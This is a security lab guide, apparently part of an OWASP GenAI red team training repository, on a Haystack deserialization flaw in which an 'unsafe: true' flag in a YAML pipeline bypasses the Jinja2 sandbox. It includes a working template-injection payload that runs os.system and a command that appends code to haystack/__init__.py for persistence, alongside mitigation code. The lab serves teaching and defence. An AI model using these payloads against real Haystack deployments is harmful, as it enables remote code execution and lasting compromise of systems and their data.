Haystack Serialization Boundary Evasion Lab

Overview

This laboratory demonstrates a critical Insecure Orchestration Vulnerability (OWASP Top 10 for LLMs: LLM06 – Excessive Agency / ASI02 – Tool Misuse) within Deepset Haystack AI (haystack-ai v2.27.0). Students will explore how the from_dict() deserialization method passes security-critical parameters directly to component constructors without validation, allowing attackers to bypass the unsafe=False boundary and achieve persistent Remote Code Execution (RCE) via framework poisoning.

Vulnerability Class: CWE-502 (Deserialization of Untrusted Data) → CWE-94 (Code Injection) → CWE-184 (Incomplete Input Filtering)
CVSS v3.1: 10.0 Critical – AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
Author: Jeff Ponte (CISSP, CCSP, CEH) – JDP Security
Research Paper: JDP-2026-005: Architectural Boundary Limitations in Haystack

---

Core Learning Objectives

By completing this lab, students will:

1. Identify Serialization Boundary Flaws – Learn how default_from_dict() passes all init_parameters directly to component constructors without stripping security-critical flags, violating the principle of least privilege.
2. Execute a YAML Deserialization Bypass – Craft a malicious pipeline definition that sets "unsafe": true to bypass the Jinja2 sandbox and achieve code execution.
3. Achieve Persistent Framework Compromise (Scope Change) – Use the initial RCE to overwrite haystack/__init__.py, demonstrating CVSS Scope Change (S:C) where the infection survives application restarts and process termination.
4. Analyze the Vendor/Researcher Divergence – Understand the industry debate between "trusted configuration behavior" and "framework-level vulnerability" — a critical threat modeling distinction for AI orchestration security.
5. Evaluate Mitigation Strategies – Explore application-layer patches (schema validation, monkey-patching, HMAC signing) and understand why they are inherently incomplete without framework-level fixes.
6. Map Attack Vectors to Deployment Scenarios – Identify 4 real-world delivery methods (API, file, database, message queue) and understand how authentication controls reach but does not fix the underlying vulnerability.

---

OWASP Alignment

This lab directly addresses the following OWASP categories:

OWASP Category	Relevance
LLM06 – Excessive Agency	The orchestration framework grants excessive capabilities to untrusted data inputs, allowing security configuration to be dictated by payloads
ASI02 – Tool Misuse	The OutputAdapter and ConditionalRouter tools can be exploited for unintended purposes (code execution) when their security flags are manipulated
CWE-502 – Deserialization of Untrusted Data	The framework instantiates objects from YAML/Dict payloads without validating embedded security directives
CWE-94 – Code Injection	Manipulation of the unsafe flag grants direct control over the Jinja2 execution environment
CWE-184 – Incomplete List of Disallowed Inputs	The serialization engine fails to filter or strip critical security parameters during object hydration

---

Lab Architecture

The lab uses Docker containers running haystack-ai v2.27.0 with a deliberately vulnerable /chat API endpoint that accepts pipeline definitions via Pipeline.from_dict().

Stage	Version	unsafe Flag Bypass	Persistent Compromise
0	2.27.0	❌ VULNERABLE	❌ VULNERABLE

Key insight: The vulnerability is architectural, not version-specific. All versions supporting the unsafe feature are affected. The vendor has classified this as "trusted configuration behavior" and no fix is planned as of the latest release (August 2026).

---

Quick Start: Interactive Training Wizard

The interactive_trainer.py provides a menu-driven CLI that walks through all exploitation scenarios with built-in container management.

cd ~/OWASP/GenAI-Red-Team-Lab/exploitation/haystack
chmod +x interactive_trainer.py
./interactive_trainer.py

Menu Options

Option	Lesson	Description
G	Guided Training Course	Automated auto-pilot mode that runs all 6 lessons sequentially
1	Lesson 1: Baseline	Verify the framework is clean and unsafe=False by default
2	Lesson 2: YAML Bypass	Load a malicious YAML pipeline that flips unsafe to true
3	Lesson 3: Full RCE	Overwrite haystack/__init__.py to achieve persistence
4	Lesson 4: Scope Change	Verify the framework is permanently compromised
5	Lesson 5: Mitigation	Explore patches and their fundamental limitations
6	Lesson 6: Attack Vectors	Map the exploit to 4 real-world deployment scenarios
I	Industry Perspective	View the vendor vs. researcher positions on serialization boundaries
C	Start Container	Launch the Docker container
R	Reset Container	Stop and rebuild from scratch
L	View Container Logs	Inspect container output
H	Show Glossary	View CWE and terminology definitions
P	White Paper Summary	View the research paper abstract
W	Write Report	Save lab results to a JSON report
X	Stop Container	Stop the running container
Q	Quit	Exit the trainer

Interactive Features

• Auto-fill hints – Press Enter to use the default YAML payload for each lesson.
• Multi-line paste support – Paste custom YAML or JSON payloads.
• Real-time evidence – Each lesson displays the raw HTTP response and explains the result.
• Auto-pilot mode – Run ./interactive_trainer.py --auto for a fully automated guided course.

---

Exercise 1: YAML Deserialization Bypass (Lesson 2)

The core exploit sends a malicious YAML pipeline definition to the server. The "unsafe": true flag is passed directly to the OutputAdapter constructor without validation.

The Malicious Payload

components:
  adapter:
    type: haystack.components.converters.output_adapter.OutputAdapter
    init_parameters:
      template: |
        {{ trigger }}{{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}
      output_type: str
      unsafe: true

Why It Works

The root cause is in haystack/core/serialization.py:

def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
    init_params = data.get("init_parameters", {})
    return cls(**init_params)  # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED

There is no filtering of security-critical parameters like unsafe. The framework trusts the serialized data implicitly, violating the security principle of never trusting input at the deserialization boundary.

Expected Output

[VULNERABLE] SERIALIZATION BYPASS SUCCESSFUL!
  EVIDENCE: The unsafe flag was mutated to true via untrusted YAML.

---

Exercise 2: Persistent Framework Compromise (Lessons 3-4)

After achieving RCE via the serialization bypass, the attacker can append Python code to the global haystack/__init__.py file:

echo 'print("!!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!")' >> /usr/local/lib/python3.11/site-packages/haystack/__init__.py

Scope Change Demonstration

This creates a CVSS Scope Change (S:C) — every subsequent Python process that executes import haystack will run the attacker's payload synchronously. The compromise survives:

• Pipeline deletion
• Application restarts
• Container reboots
• Process termination

Verification

# Clean Python process - no pipeline loaded
import haystack  # Immediately executes the injected payload
# Output: !!! HAYSTACK SCOPE CHANGE: 10.0 CRITICAL !!!

---

Exercise 3: Attack Vectors (Lesson 6)

The exploit payload is identical regardless of delivery method. The attack vector depends on how the framework is deployed:

Scenario	Delivery Method	Prior Access Required	Authentication Mitigates?
Direct API Call	HTTP request	None (if public)	Controls reach, not exploit
File-Based Loading	File write	Write access to target path	Varies by path
Database Poisoning	Database modification	DB access or SQLi	Bypassable via SQLi
Message Queue Injection	Queue message	Queue network access	Network-level only

Authentication Clarification

Authentication controls who can reach the vulnerable deserialization code, but does not fix the vulnerability itself. Once an attacker reaches from_dict() or from_yaml(), the exploit works identically regardless of authentication status. This is a critical distinction for security architects designing defense-in-depth strategies.

---

Code Review: Why the Serialization Fails

The Vulnerable Code Path

# OutputAdapter.from_dict() - Lines 161-179
def from_dict(cls, data: dict[str, Any]) -> "OutputAdapter":
    init_params = data.get("init_parameters", {})
    init_params["output_type"] = deserialize_type(init_params["output_type"])
    custom_filters = init_params.get("custom_filters", {})
    if custom_filters:
        init_params["custom_filters"] = {
            name: deserialize_callable(filter_func) if filter_func else None
            for name, filter_func in custom_filters.items()
        }
    return default_from_dict(cls, data)  # LACKS UNSAFE FLAG STRIPPING

The Deserialization Sink

# haystack/core/serialization.py
def default_from_dict(cls: type[T], data: dict[str, Any]) -> T:
    init_params = data.get("init_parameters", {})
    return cls(**init_params)  # PASSES ALL PARAMETERS TO CONSTRUCTOR UNFILTERED

Audit Confirmation

# Audit confirms absence of security flag stripping:
$ grep -n "pop.*unsafe\|unsafe.*pop" haystack/components/converters/output_adapter.py
# NO OUTPUT - Mitigation absent

$ grep -i "unsafe\|security" haystack/core/serialization.py
# NO OUTPUT - Security validation absent in serialization engine

---

The Architectural Flaw

The vulnerability is not a simple coding error — it is an architectural design issue with four components:

1. Unvalidated Input Routing

default_from_dict() passes all init_params directly to component constructors without sanitation. This is a classic Confused Deputy problem — the framework trusts the payload's authority over its own security configuration.

2. Missing Flag Validation

Core components such as OutputAdapter and ConditionalRouter do not strip or restrict unsafe flags during deserialization. The security control is implemented as a standard constructor parameter, giving it identical authority to any other parameter.

3. Insecure Data Processing

The serialization logic merges application security configurations with untrusted data ingress. There is no separation between "system configuration" and "user data" at the deserialization boundary.

4. Implementation Lifecycle Gap

The unsafe feature was introduced in commit 3e3f79b9 (September 2, 2024) with release notes explicitly warning it "could lead to remote code execution," yet no corresponding safeguards were implemented in the from_dict hydration pipeline.

---

The Whack-a-Mole Problem

Every application-layer patch creates a new bypass vector:

Round	Patch	Bypass
1	Strip unsafe from OutputAdapter.from_dict()	Use ConditionalRouter.from_dict() instead (same vulnerability, different component)
2	Strip unsafe from both components	Use Pipeline.from_yaml() which uses a different deserialization path
3	Patch all known deserialization paths	Attacker disables the patch if they achieve code execution through another vector
4	Deploy schema validation at the API gateway	Attacker finds an alternative ingress path (database, message queue, file system)

The root cause is architectural, not a patch gap. The framework lacks a centralized validation layer that strips security-critical parameters from ALL deserialization paths at the single entry point (Pipeline.from_dict()). Until the framework implements this, every patch will be incomplete.

---

Mitigation Strategies (Appendix A)

Application-Layer Patches (Temporary)

Option 1: Monkey-Patch from_dict()

import haystack.components.converters.output_adapter as oa
_orig = oa.OutputAdapter.from_dict.__func__

@classmethod
def _secured(cls, data):
    if "init_parameters" in data:
        data["init_parameters"].pop("unsafe", None)
    return _orig(cls, data)

oa.OutputAdapter.from_dict = _secured

Option 2: Pre-Sink Schema Validation

from jsonschema import validate, ValidationError

SERIALIZATION_SCHEMA = {
    "type": "object",
    "properties": {
        "init_parameters": {
            "type": "object",
            "properties": {
                "unsafe": {
                    "type": "boolean",
                    "enum": [False]  # Strict enforcement of safe execution
                }
            }
        }
    }
}

Framework-Level Fixes (Required)

1. Parameter Stripping: All from_dict() methods should strip security-critical parameters like unsafe before passing to constructors.
2. Centralized Validation: Validate at Pipeline.from_dict() rather than each individual component.
3. Explicit Opt-In: Unsafe mode should require code-level developer intent, not data-level configuration.
4. Cryptographic Signatures: Verify serialized data integrity before deserialization.

---

References & Additional Reading

• CWE-502: Deserialization of Untrusted Data
• CWE-94: Code Injection (Jinja2 SSTI)
• CWE-184: Incomplete List of Disallowed Inputs
• OWASP Top 10 for LLM Applications: LLM06 – Excessive Agency
• OWASP Agentic Security: ASI02 – Tool Misuse
• Research Paper: JDP-2026-005 White Paper
• Commit 3e3f79b9: Introduction of the unsafe feature (September 2, 2024)
• OWASP GenAI Red Team Lab: GitHub Repository
• Deepset Haystack: Official Documentation